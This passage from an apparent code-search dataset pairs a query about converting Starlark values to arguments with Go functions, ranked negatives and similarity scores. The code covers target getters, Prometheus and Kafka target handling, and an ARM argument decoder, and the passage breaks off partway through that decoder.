{\n\t\tactiveTargets := s.getActiveTargets()\n\t\tactiveKeys, numTargets := sortKeys(activeTargets)\n\t\tres.ActiveTargets = make([]*v1.Target, 0, numTargets)\n\t\tstatus, err := s.getScrapeStatus(activeTargets)\n\t\tif err != nil {\n\t\t\treturn api.InternalErr(err, \"get targets runtime\")\n\t\t}\n\n\t\tfor _, key := range activeKeys {\n\t\t\tfor _, t := range activeTargets[key] {\n\t\t\t\ttar := t.PromTarget\n\t\t\t\thash := t.ShardTarget.Hash\n\t\t\t\trt := status[hash]\n\t\t\t\tif rt == nil {\n\t\t\t\t\trt = target.NewScrapeStatus(0)\n\t\t\t\t}\n\n\t\t\t\tres.ActiveTargets = append(res.ActiveTargets, &v1.Target{\n\t\t\t\t\tDiscoveredLabels: tar.DiscoveredLabels().Map(),\n\t\t\t\t\tLabels: tar.Labels().Map(),\n\t\t\t\t\tScrapePool: key,\n\t\t\t\t\tScrapeURL: tar.URL().String(),\n\t\t\t\t\tGlobalURL: tar.URL().String(),\n\t\t\t\t\tLastError: rt.LastError,\n\t\t\t\t\tLastScrape: rt.LastScrape,\n\t\t\t\t\tLastScrapeDuration: rt.LastScrapeDuration,\n\t\t\t\t\tHealth: rt.Health,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t} else {\n\t\tres.ActiveTargets = []*v1.Target{}\n\t}\n\tif showDropped {\n\t\ttDropped := flatten(s.getDropTargets())\n\t\tres.DroppedTargets = make([]*v1.DroppedTarget, 0, len(tDropped))\n\t\tfor _, t := range tDropped {\n\t\t\tres.DroppedTargets = append(res.DroppedTargets, &v1.DroppedTarget{\n\t\t\t\tDiscoveredLabels: t.DiscoveredLabels().Map(),\n\t\t\t})\n\t\t}\n\t} else {\n\t\tres.DroppedTargets = []*v1.DroppedTarget{}\n\t}\n\n\treturn api.Data(res)\n}", "func (n *graphNodeProxyProvider) Target() GraphNodeProvider {\n\tswitch t := n.target.(type) {\n\tcase *graphNodeProxyProvider:\n\t\treturn t.Target()\n\tdefault:\n\t\treturn n.target\n\t}\n}", "func (b bindRequest) TargetNamespace() (string, error) {\n\treturn b.Parameters.String(TargetNamespaceKey)\n}", "func (o ResourceMetricSourcePatchOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v ResourceMetricSourcePatch) *MetricTargetPatch { return v.Target }).(MetricTargetPatchPtrOutput)\n}", "func getTargetFromReq(m map[string]interface{}) (s []string, err error) {\r\n\ttargets, _ := dproxy.New(m).M(\"targets\").Array()\r\n\ts = make([]string, len(targets))\r\n\r\n\tfor i, v := range targets {\r\n\t\ts[i], _ = dproxy.New(v).M(\"target\").String()\r\n\t\t\r\n\t}\r\n\r\n\treturn s, nil\r\n}", "func (o ObjectMetricSourceOutput) Target() MetricTargetOutput {\n\treturn o.ApplyT(func(v ObjectMetricSource) MetricTarget { return v.Target }).(MetricTargetOutput)\n}", "func (o ObjectMetricSourcePatchOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v ObjectMetricSourcePatch) *MetricTargetPatch { return v.Target }).(MetricTargetPatchPtrOutput)\n}", "func (o ResourceMetricSourceOutput) Target() MetricTargetOutput {\n\treturn o.ApplyT(func(v ResourceMetricSource) MetricTarget { return v.Target }).(MetricTargetOutput)\n}", "func (ts *TargetSyncer) NewTarget(session sarama.ConsumerGroupSession, claim sarama.ConsumerGroupClaim) (RunnableTarget, error) {\n\tdiscoveredLabels := model.LabelSet{\n\t\t\"__meta_kafka_topic\": model.LabelValue(claim.Topic()),\n\t\t\"__meta_kafka_partition\": model.LabelValue(fmt.Sprintf(\"%d\", claim.Partition())),\n\t\t\"__meta_kafka_member_id\": model.LabelValue(session.MemberID()),\n\t\t\"__meta_kafka_group_id\": model.LabelValue(ts.cfg.KafkaConfig.GroupID),\n\t}\n\tdetails := newDetails(session, claim)\n\tlabelMap := make(map[string]string)\n\tfor k, v := range discoveredLabels.Clone().Merge(ts.cfg.KafkaConfig.Labels) {\n\t\tlabelMap[string(k)] = string(v)\n\t}\n\tlabelOut := format(labels.FromMap(labelMap), ts.cfg.RelabelConfigs)\n\tif len(labelOut) == 0 {\n\t\tlevel.Warn(ts.logger).Log(\"msg\", \"dropping target\", \"reason\", \"no labels\", \"details\", details, \"discovered_labels\", discoveredLabels.String())\n\t\treturn &runnableDroppedTarget{\n\t\t\tTarget: target.NewDroppedTarget(\"dropping target, no labels\", discoveredLabels),\n\t\t\trunFn: func() {\n\t\t\t\tfor range claim.Messages() {\n\t\t\t\t}\n\t\t\t},\n\t\t}, nil\n\t}\n\tt := NewKafkaTarget(\n\t\tts.logger,\n\t\tsession,\n\t\tclaim,\n\t\tdiscoveredLabels,\n\t\tlabelOut,\n\t\tts.cfg.RelabelConfigs,\n\t\tts.client,\n\t\tts.cfg.KafkaConfig.UseIncomingTimestamp,\n\t\tts.messageParser,\n\t)\n\n\treturn t, nil\n}", "func CallTarget(vm *VM, target, locals Interface, msg *Message) Interface {\n\treturn target.(*Call).Target\n}", "func findTarget() *Target {\n\tfor _, t := range targets {\n\t\tif runtime.GOARCH == t.Arch && runtime.GOOS == t.OS {\n\t\t\treturn &t\n\t\t}\n\t}\n\treturn nil\n}", "func (o ExternalMetricSourceOutput) Target() MetricTargetOutput {\n\treturn o.ApplyT(func(v ExternalMetricSource) MetricTarget { return v.Target }).(MetricTargetOutput)\n}", "func (c *Chrome) Target() (*Target, error) {\n\teg, ctx := errgroup.WithContext(c.ctx)\n\n\t// connect to the headless chrome\n\tdevt, tar, conn, err := dial(ctx, c.addr.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tt := &Target{\n\t\tchrome: c,\n\t\tdevtools: devt,\n\t\ttarget: tar,\n\t\tctx: ctx,\n\t\teg: eg,\n\t\tconn: conn,\n\t}\n\n\teg.Go(t.doClose)\n\n\treturn t, nil\n}", "func (req *ClientRequest) Target() *url.URL {\n\treturn req.target\n}", "func (o SRVRecordRecordOutput) Target() pulumi.StringOutput {\n\treturn o.ApplyT(func(v SRVRecordRecord) string { return v.Target }).(pulumi.StringOutput)\n}", "func (r *Reference) Target() ReferenceName {\n\treturn r.target\n}", "func (o ObjectMetricSourcePatchOutput) Target() CrossVersionObjectReferencePatchPtrOutput {\n\treturn o.ApplyT(func(v ObjectMetricSourcePatch) *CrossVersionObjectReferencePatch { return v.Target }).(CrossVersionObjectReferencePatchPtrOutput)\n}", "func (rs *Set) GetTarget(req *http.Request) (string, error) {\n\ttarget, err := rs.router.Route(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif target == nil {\n\t\treturn \"\", errors.New(\"no matching loadbalancer rule\")\n\t}\n\treturn target.(string), nil\n}", "func TargetBuilder() *Target {\n\treturn &Target{\n\t\terr: nil,\n\t\tinfService: nil,\n\t\texp: nil,\n\t\tk8sclient: nil,\n\t\tretries: 18,\n\t\tinterval: 10,\n\t}\n}", "func (o SrvRecordRecordOutput) Target() pulumi.StringOutput {\n\treturn o.ApplyT(func(v SrvRecordRecord) string { return v.Target }).(pulumi.StringOutput)\n}", "func (o PodsMetricSourcePatchPtrOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v *PodsMetricSourcePatch) *MetricTargetPatch {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(MetricTargetPatchPtrOutput)\n}", "func (o AiEndpointDeployedModelDedicatedResourceAutoscalingMetricSpecOutput) Target() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v AiEndpointDeployedModelDedicatedResourceAutoscalingMetricSpec) *int { return v.Target }).(pulumi.IntPtrOutput)\n}", "func (o ExternalMetricSourcePatchPtrOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v *ExternalMetricSourcePatch) *MetricTargetPatch {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(MetricTargetPatchPtrOutput)\n}", "func (graph *Graph) SetTarget(sx, sy, ex, ey int) {\n\tgraph.start = &Point{Y: sy, X: sx}\n\tgraph.end = &Point{Y: ey, X: ex}\n}", "func (m *AccessPackageAssignment) SetTarget(value AccessPackageSubjectable)() {\n m.target = value\n}", "func NewTargetManager()(*TargetManager) {\n m := &TargetManager{\n SubjectSet: *NewSubjectSet(),\n }\n odataTypeValue := \"#microsoft.graph.targetManager\";\n m.SetOdataType(&odataTypeValue);\n return m\n}", "func (o ContainerResourceMetricSourcePatchOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v ContainerResourceMetricSourcePatch) *MetricTargetPatch { return v.Target }).(MetricTargetPatchPtrOutput)\n}", "func (s *Seek) Target() *Physics {\n\treturn s.target\n}", "func (c *Client) DiscoverTarget(uuid string) (*Result, error) {\n\tresponse, err := c.Post().Resource(api.Resource_Type_Target).Name(uuid).Do()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to discover target %s: %s\", uuid, err)\n\t}\n\tif response.statusCode != 200 {\n\t\treturn nil, buildResponseError(\"target discovery\", response.status, response.body)\n\t}\n\treturn &response, nil\n}", "func (o *SearchSLOResponseDataAttributesFacets) SetTarget(v []SearchSLOResponseDataAttributesFacetsObjectInt) {\n\to.Target = v\n}", "func (d *Dao) Target(c context.Context, id int64) (res *model.Target, err error) {\n\tres = &model.Target{}\n\tif err = d.db.QueryRow(c, _targetSQL, id).Scan(&res.ID, &res.SubEvent, &res.Event, &res.Product, &res.Source, &res.GroupIDs, &res.Threshold, &res.Duration, &res.State, &res.Ctime, &res.Mtime); err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\tres = nil\n\t\t\terr = nil\n\t\t\treturn\n\t\t}\n\t\tlog.Error(\"d.Target.Scan error(%+v), id(%d)\", err, id)\n\t}\n\tif res.GroupIDs != \"\" {\n\t\tvar gids []int64\n\t\tif gids, err = xstr.SplitInts(res.GroupIDs); err != nil {\n\t\t\tlog.Error(\"d.Product.SplitInts error(%+v), group ids(%s)\", err, res.GroupIDs)\n\t\t\treturn\n\t\t}\n\t\tif res.Groups, err = d.Groups(c, gids); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}", "func (o ContainerResourceMetricSourceOutput) Target() MetricTargetOutput {\n\treturn o.ApplyT(func(v ContainerResourceMetricSource) MetricTarget { return v.Target }).(MetricTargetOutput)\n}", "func (o ObjectMetricSourcePatchPtrOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v *ObjectMetricSourcePatch) *MetricTargetPatch {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(MetricTargetPatchPtrOutput)\n}", "func starlarkValueToArg(v starlark.Value) (Arg, error) {\n\tswitch x := v.(type) {\n\tcase Arg:\n\t\treturn x, nil\n\tcase starlark.String:\n\t\treturn String(x), nil\n\tdefault:\n\t\treturn nil, errors.Errorf(\n\t\t\t\"Cannot convert %s into a target argument\",\n\t\t\tv.Type(),\n\t\t)\n\t}\n}", "func (o ResourceMetricSourcePatchPtrOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v *ResourceMetricSourcePatch) *MetricTargetPatch {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(MetricTargetPatchPtrOutput)\n}", "func (b bindRequest) TargetName() (string, error) {\n\treturn b.Parameters.String(TargetNameKey)\n}", "func (ks *KerbServer) TargetName() string {\n\treturn C.GoString(ks.state.targetname)\n}", "func (o MrScalarTaskScalingDownPolicyOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v MrScalarTaskScalingDownPolicy) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "func (s googleCloudStorageTargetNamespaceLister) Get(name string) (*v1alpha1.GoogleCloudStorageTarget, error) {\n\tobj, exists, err := s.indexer.GetByKey(s.namespace + \"/\" + name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\treturn nil, errors.NewNotFound(v1alpha1.Resource(\"googlecloudstoragetarget\"), name)\n\t}\n\treturn obj.(*v1alpha1.GoogleCloudStorageTarget), nil\n}", "func (o ObjectMetricSourcePatchPtrOutput) Target() CrossVersionObjectReferencePatchPtrOutput {\n\treturn o.ApplyT(func(v *ObjectMetricSourcePatch) *CrossVersionObjectReferencePatch {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(CrossVersionObjectReferencePatchPtrOutput)\n}", "func LoadTarget(target string) (*TargetSpec, error) {\n\tspec := &TargetSpec{\n\t\tTriple: target,\n\t\tBuildTags: []string{runtime.GOOS, runtime.GOARCH},\n\t\tLinker: \"cc\",\n\t}\n\n\t// See whether there is a target specification for this target (e.g.\n\t// Arduino).\n\tpath := filepath.Join(\"targets\", strings.ToLower(target)+\".json\")\n\tif fp, err := os.Open(path); err == nil {\n\t\tdefer fp.Close()\n\t\terr := json.NewDecoder(fp).Decode(spec)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if !os.IsNotExist(err) {\n\t\t// Expected a 'file not found' error, got something else.\n\t\treturn nil, err\n\t} else {\n\t\t// No target spec available. This is fine.\n\t}\n\n\treturn spec, nil\n}", "func (o PodsMetricSourcePtrOutput) Target() MetricTargetPtrOutput {\n\treturn o.ApplyT(func(v *PodsMetricSource) *MetricTarget {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Target\n\t}).(MetricTargetPtrOutput)\n}", "func newTarget(path string, xt, yt int) *target {\n\treturn &target{path: path, xTiles: xt, yTiles: yt}\n}", "func (o ElastigroupScalingDownPolicyStepAdjustmentActionOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ElastigroupScalingDownPolicyStepAdjustmentAction) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "func (p *Pane) Target() string {\n\treturn fmt.Sprintf(\"%s:%s.%s\", p.Window.Session.Name, p.Window.Name, p.ID)\n}", "func (m *ThreadFiles) GetTarget() string {\n\tif m != nil {\n\t\treturn m.Target\n\t}\n\treturn \"\"\n}", "func (o MrScalarTaskScalingUpPolicyOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v MrScalarTaskScalingUpPolicy) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "func (o ObjectMetricStatusOutput) Target() CrossVersionObjectReferenceOutput {\n\treturn o.ApplyT(func(v ObjectMetricStatus) CrossVersionObjectReference { return v.Target }).(CrossVersionObjectReferenceOutput)\n}", "func DagTargetFact(s Set, str []string, t TargetFactory) (Target, os.Error) {\n\t\ttarg := new(TargImp)\n\t\t\n\t\ttokens := strings.Fields(str[0])\n\t\t\n\t\ttarg.name = tokens[0]\n\t\ttarg.dependencies = make([]string,\t20, 20)\n\t\ttarg.dependlen = copy(targ.dependencies, tokens[1:])\n\t\ttarg.dagset = s\n\t\t\n\t\tfor y := 0; y < targ.dependlen; y++ {\n\t\t\tif s.Get(targ.dependencies[y]) == nil {\n\t\t\t\ttemp := []string { targ.dependencies[y] }\n\t\t\t\t\n\t\t\t\ttempTarg, nerr := t(s, temp, t)\n\t\t\t\tif nerr != nil { return nil, nerr }\n\t\t\t\t\n\t\t\t\t_, nerr2 := s.Put(tempTarg)\n\t\t\t\tif nerr2 != nil { return tempTarg, nerr2 }\n\t\t\t}\n\t\t}\n\t\treturn targ, nil\n}", "func (o RegionAutoscalerOutput) Target() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *RegionAutoscaler) pulumi.StringOutput { return v.Target }).(pulumi.StringOutput)\n}", "func (o ResourceMetricSourcePtrOutput) Target() MetricTargetPtrOutput {\n\treturn o.ApplyT(func(v *ResourceMetricSource) *MetricTarget {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Target\n\t}).(MetricTargetPtrOutput)\n}", "func (o ObjectMetricStatusPatchOutput) Target() CrossVersionObjectReferencePatchPtrOutput {\n\treturn o.ApplyT(func(v ObjectMetricStatusPatch) *CrossVersionObjectReferencePatch { return v.Target }).(CrossVersionObjectReferencePatchPtrOutput)\n}", "func targetMatch(targets []*Target, lset labels.Labels) (*Target, bool) {\nOuter:\n\tfor _, t := range targets {\n\t\tfor _, tl := range t.Labels {\n\t\t\tif v := lset.Get(tl.Name); v != \"\" && v != tl.Value {\n\t\t\t\tcontinue Outer\n\t\t\t}\n\t\t}\n\t\treturn t, true\n\t}\n\treturn nil, false\n}", "func (o ContainerResourceMetricSourcePatchPtrOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v *ContainerResourceMetricSourcePatch) *MetricTargetPatch {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(MetricTargetPatchPtrOutput)\n}", "func (v *Vegeta) SetTarget(url, port string) {\n\tv.Targeter = vegeta.NewStaticTargeter(vegeta.Target{\n\t\tMethod: \"GET\",\n\t\tURL: url,\n\t})\n\n\tlogrus.Infof(\"target is registered: %s\", url)\n}", "func (o ElastigroupScalingUpPolicyStepAdjustmentActionOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ElastigroupScalingUpPolicyStepAdjustmentAction) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "func (d *DatasetContainer) SetTarget(tag string) {\n\td.Tags.Target = tag\n}", "func (o RuleTargetOutput) TargetId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RuleTarget) string { return v.TargetId }).(pulumi.StringOutput)\n}" ]
[ "0.5902927", "0.58842", "0.57345617", "0.57153326", "0.56635815", "0.55738866", "0.5407274", "0.538354", "0.5329738", "0.5271659", "0.524852", "0.5237572", "0.51851034", "0.51704633", "0.5164845", "0.513546", "0.5122503", "0.50363517", "0.5035169", "0.50017464", "0.49984995", "0.49783072", "0.49657187", "0.49613854", "0.4948698", "0.4858569", "0.4845514", "0.48334712", "0.48334712", "0.48318094", "0.4813008", "0.4807809", "0.48054358", "0.4805417", "0.48035547", "0.4800892", "0.4797009", "0.47967994", "0.47935763", "0.47910705", "0.4775646", "0.47696063", "0.47516945", "0.47510344", "0.47424158", "0.47383133", "0.47253838", "0.4724848", "0.47244215", "0.4713721", "0.47126424", "0.47126293", "0.47058964", "0.46999013", "0.4684379", "0.468329", "0.46815708", "0.46775928", "0.466993", "0.4666866", "0.46654335", "0.46598765", "0.4648731", "0.46421567", "0.46241578", "0.46238106", "0.46218345", "0.46136683", "0.46097037", "0.46092612", "0.4602322", "0.46015096", "0.4598479", "0.45980015", "0.4590847", "0.45908388", "0.45905033", "0.45821977", "0.45817643", "0.45792902", "0.45615304", "0.45614505", "0.45603928", "0.4559356", "0.4558043", "0.4549248", "0.4545227", "0.45429567", "0.45390308", "0.45366368", "0.45358035", "0.45330575", "0.45158294", "0.4505729", "0.45056143", "0.4499404", "0.44978508", "0.4493729", "0.44915223", "0.44911996" ]
0.78945357
0
Arg starlarkValueToArg takes a starlark value and parses it into an `Arg`.
func starlarkValueToArg(v starlark.Value) (Arg, error) { switch x := v.(type) { case Arg: return x, nil case starlark.String: return String(x), nil default: return nil, errors.Errorf( "Cannot convert %s into a target argument", v.Type(), ) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func ToArg(name, value string) string {\n\treturn name + \"=\" + value\n}", "func FromArg(arg string) (key, value string) {\n\tparts := strings.Split(arg, \"=\")\n\tif len(parts) == 1 {\n\t\treturn parts[0], \"\"\n\t}\n\treturn parts[0], parts[1]\n}", "func decodeArg(b *hcl.Block) (*Arg, errors.Error) {\n\targ := new(Arg)\n\targ.name = b.Labels[0]\n\tbc, d := b.Body.Content(schemaArg)\n\tif err := errors.EvalDiagnostics(d); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := arg.populateArgAttributes(bc.Attributes); err != nil {\n\t\treturn nil, err\n\t}\n\treturn arg, nil\n}", "func castArg(prefix string, f field.Field, argIndex int) string {\n\tswitch f.DatatypeName {\n\tcase field.TypeString:\n\t\treturn fmt.Sprintf(\"%s%s := args[%d]\", prefix, f.Name.UpperCamel, argIndex)\n\tcase field.TypeUint, field.TypeInt, field.TypeBool:\n\t\treturn fmt.Sprintf(`%s%s, err := cast.To%sE(args[%d])\n if err != nil {\n return err\n }`,\n\t\t\tprefix, f.Name.UpperCamel, strings.Title(f.Datatype), argIndex)\n\tcase field.TypeCustom:\n\t\treturn fmt.Sprintf(`%[1]v%[2]v := new(types.%[3]v)\n\t\t\terr = json.Unmarshal([]byte(args[%[4]v]), %[1]v%[2]v)\n \t\tif err != nil {\n return err\n }`, prefix, f.Name.UpperCamel, f.Datatype, argIndex)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"unknown type %s\", f.DatatypeName))\n\t}\n}", "func marshalArg(arg any) any {\n\tif buf, err := json.Marshal(arg); err == nil {\n\t\targ = string(buf)\n\t}\n\treturn arg\n}", "func StringArg(short, long, usage, field string, value string) (Arg, error) {\n\tretval, err := genericArg(short, long, usage, field)\n\tretval.ValueType = reflect.String\n\tretval.GetValue = extractString\n\treturn retval, err\n}", "func IntArg(short, long, usage, field string, value int) (Arg, error) {\n\tretval, err := genericArg(short, long, usage, field)\n\tretval.ValueType = reflect.Int\n\tretval.GetValue = extractInt\n\treturn retval, err\n}", "func (c *context) Arg(name string) interface{} {\n\treturn c.Param(name)\n}", "func parseArgument(p *parser) (*ast.Argument, error) {\n\tvar label string\n\tvar labelStartPos, labelEndPos ast.Position\n\n\texpr, err := parseExpression(p, lowestBindingPower)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tp.skipSpaceAndComments()\n\n\t// If a colon follows the expression, the expression was our label.\n\tif p.current.Is(lexer.TokenColon) {\n\t\tlabelEndPos = p.current.EndPos\n\n\t\tidentifier, ok := expr.(*ast.IdentifierExpression)\n\t\tif !ok {\n\t\t\treturn nil, p.syntaxError(\n\t\t\t\t\"expected identifier for label, got %s\",\n\t\t\t\texpr,\n\t\t\t)\n\t\t}\n\t\tlabel = identifier.Identifier.Identifier\n\t\tlabelStartPos = expr.StartPosition()\n\n\t\t// Skip the identifier\n\t\tp.nextSemanticToken()\n\n\t\texpr, err = parseExpression(p, lowestBindingPower)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif len(label) > 0 {\n\t\treturn ast.NewArgument(\n\t\t\tp.memoryGauge,\n\t\t\tlabel,\n\t\t\t&labelStartPos,\n\t\t\t&labelEndPos,\n\t\t\texpr,\n\t\t), nil\n\t}\n\treturn ast.NewUnlabeledArgument(p.memoryGauge, expr), nil\n}", "func EscapeArg(param interface{}) interface{} {\n\tif param == nil {\n\t\tparam = \"\"\n\t}\n\tif str, ok := param.(string); ok {\n\t\tswitch GetTerminal() {\n\t\tcase TermBash:\n\t\t\treturn \"'\" + strings.Replace(str, \"'\", \"'\\\\''\", -1) + \"'\"\n\t\tcase TermCmd, TermPowershell:\n\t\t\treturn \"'\" + strings.Replace(str, \"'\", \"''\", -1) + \"'\"\n\t\t}\n\t}\n\treturn param\n}", "func NewArg(key, descr string) Arg {\n\treturn arg{key: key, descr: descr}\n}", "func decodeArg(aop instArg, x uint32) Arg {\n\tswitch aop {\n\tdefault:\n\t\treturn nil\n\n\tcase arg_APSR:\n\t\treturn APSR\n\tcase arg_FPSCR:\n\t\treturn FPSCR\n\n\tcase arg_R_0:\n\t\treturn Reg(x & (1<<4 - 1))\n\tcase arg_R_8:\n\t\treturn Reg((x >> 8) & (1<<4 - 1))\n\tcase arg_R_12:\n\t\treturn Reg((x >> 12) & (1<<4 - 1))\n\tcase arg_R_16:\n\t\treturn Reg((x >> 16) & (1<<4 - 1))\n\n\tcase arg_R_12_nzcv:\n\t\tr := Reg((x >> 12) & (1<<4 - 1))\n\t\tif r == R15 {\n\t\t\treturn APSR_nzcv\n\t\t}\n\t\treturn r\n\n\tcase arg_R_16_WB:\n\t\tmode := AddrLDM\n\t\tif (x>>21)&1 != 0 {\n\t\t\tmode = AddrLDM_WB\n\t\t}\n\t\treturn Mem{Base: Reg((x >> 16) & (1<<4 - 1)), Mode: mode}\n\n\tcase arg_R_rotate:\n\t\tRm := Reg(x & (1<<4 - 1))\n\t\ttyp, count := decodeShift(x)\n\t\t// ROR #0 here means ROR #0, but decodeShift rewrites to RRX #1.\n\t\tif typ == RotateRightExt {\n\t\t\treturn Reg(Rm)\n\t\t}\n\t\treturn RegShift{Rm, typ, uint8(count)}\n\n\tcase arg_R_shift_R:\n\t\tRm := Reg(x & (1<<4 - 1))\n\t\tRs := Reg((x >> 8) & (1<<4 - 1))\n\t\ttyp := Shift((x >> 5) & (1<<2 - 1))\n\t\treturn RegShiftReg{Rm, typ, Rs}\n\n\tcase arg_R_shift_imm:\n\t\tRm := Reg(x & (1<<4 - 1))\n\t\ttyp, count := decodeShift(x)\n\t\tif typ == ShiftLeft && count == 0 {\n\t\t\treturn Reg(Rm)\n\t\t}\n\t\treturn RegShift{Rm, typ, uint8(count)}\n\n\tcase arg_R1_0:\n\t\treturn Reg((x & (1<<4 - 1)))\n\tcase arg_R1_12:\n\t\treturn Reg(((x >> 12) & (1<<4 - 1)))\n\tcase arg_R2_0:\n\t\treturn Reg((x & (1<<4 - 1)) | 1)\n\tcase arg_R2_12:\n\t\treturn Reg(((x >> 12) & (1<<4 - 1)) | 1)\n\n\tcase arg_SP:\n\t\treturn SP\n\n\tcase arg_Sd_Dd:\n\t\tv := (x >> 12) & (1<<4 - 1)\n\t\tvx := (x >> 22) & 1\n\t\tsz := (x >> 8) & 1\n\t\tif sz != 0 {\n\t\t\treturn D0 + Reg(vx<<4+v)\n\t\t} else {\n\t\t\treturn S0 + Reg(v<<1+vx)\n\t\t}\n\n\tcase arg_Dd_Sd:\n\t\treturn decodeArg(arg_Sd_Dd, x^(1<<8))\n\n\tcase arg_Sd:\n\t\tv := (x >> 12) & (1<<4 - 1)\n\t\tvx := (x >> 22) & 1\n\t\treturn S0 + Reg(v<<1+vx)\n\n\tcase arg_Sm_Dm:\n\t\tv := (x >> 0) & (1<<4 - 1)\n\t\tvx := (x >> 5) & 1\n\t\tsz := (x >> 8) & 1\n\t\tif sz != 0 {\n\t\t\treturn D0 + Reg(vx<<4+v)\n\t\t} else {\n\t\t\treturn S0 + Reg(v<<1+vx)\n\t\t}\n\n\tcase arg_Sm:\n\t\tv := (x >> 0) & (1<<4 - 1)\n\t\tvx := (x >> 5) & 1\n\t\treturn S0 + Reg(v<<1+vx)\n\n\tcase arg_Dn_half:\n\t\tv := (x >> 16) & (1<<4 - 1)\n\t\tvx := (x >> 7) & 1\n\t\treturn RegX{D0 + Reg(vx<<4+v), int((x >> 21) & 1)}\n\n\tcase arg_Sn_Dn:\n\t\tv := (x >> 16) & (1<<4 - 1)\n\t\tvx := (x >> 7) & 1\n\t\tsz := (x >> 8) & 1\n\t\tif sz != 0 {\n\t\t\treturn D0 + Reg(vx<<4+v)\n\t\t} else {\n\t\t\treturn S0 + Reg(v<<1+vx)\n\t\t}\n\n\tcase arg_Sn:\n\t\tv := (x >> 16) & (1<<4 - 1)\n\t\tvx := (x >> 7) & 1\n\t\treturn S0 + Reg(v<<1+vx)\n\n\tcase arg_const:\n\t\tv := x & (1<<8 - 1)\n\t\trot := (x >> 8) & (1<<4 - 1) * 2\n\t\tif rot > 0 && v&3 == 0 {\n\t\t\t// could rotate less\n\t\t\treturn ImmAlt{uint8(v), uint8(rot)}\n\t\t}\n\t\tif rot >= 24 && ((v<<(32-rot))&0xFF)>>(32-rot) == v {\n\t\t\t// could wrap around to rot==0.\n\t\t\treturn ImmAlt{uint8(v), uint8(rot)}\n\t\t}\n\t\treturn Imm(v>>rot | v<<(32-rot))\n\n\tcase arg_endian:\n\t\treturn Endian((x >> 9) & 1)\n\n\tcase arg_fbits:\n\t\treturn Imm((16 << ((x >> 7) & 1)) - ((x&(1<<4-1))<<1 | (x>>5)&1))\n\n\tcase arg_fp_0:\n\t\treturn Imm(0)\n\n\tcase arg_imm24:\n\t\treturn Imm(x & (1<<24 - 1))\n\n\tcase arg_imm5:\n\t\treturn Imm((x >> 7) & (1<<5 - 1))\n\n\tcase arg_imm5_32:\n\t\tx = (x >> 7) & (1<<5 - 1)\n\t\tif x == 0 {\n\t\t\tx = 32\n\t\t}\n\t\treturn Imm(x)\n\n\tcase arg_imm5_nz:\n\t\tx = (x >> 7) & (1<<5 - 1)\n\t\tif x == 0 {\n\t\t\treturn nil\n\t\t}\n\t\treturn Imm(x)\n\n\tcase arg_imm_4at16_12at0:\n\t\treturn Imm((x>>16)&(1<<4-1)<<12 | x&(1<<12-1))\n\n\tcase arg_imm_12at8_4at0:\n\t\treturn Imm((x>>8)&(1<<12-1)<<4 | x&(1<<4-1))\n\n\tcase arg_imm_vfp:\n\t\tx = (x>>16)&(1<<4-1)<<4 | x&(1<<4-1)\n\t\treturn Imm(x)\n\n\tcase arg_label24:\n\t\timm := (x & (1<<24 - 1)) << 2\n\t\treturn PCRel(int32(imm<<6) >> 6)\n\n\tcase arg_label24H:\n\t\th := (x >> 24) & 1\n\t\timm := (x&(1<<24-1))<<2 | h<<1\n\t\treturn PCRel(int32(imm<<6) >> 6)\n\n\tcase arg_label_m_12:\n\t\td := int32(x & (1<<12 - 1))\n\t\treturn Mem{Base: PC, Mode: AddrOffset, Offset: int16(-d)}\n\n\tcase arg_label_p_12:\n\t\td := int32(x & (1<<12 - 1))\n\t\treturn Mem{Base: PC, Mode: AddrOffset, Offset: int16(d)}\n\n\tcase arg_label_pm_12:\n\t\td := int32(x & (1<<12 - 1))\n\t\tu := (x >> 23) & 1\n\t\tif u == 0 {\n\t\t\td = -d\n\t\t}\n\t\treturn Mem{Base: PC, 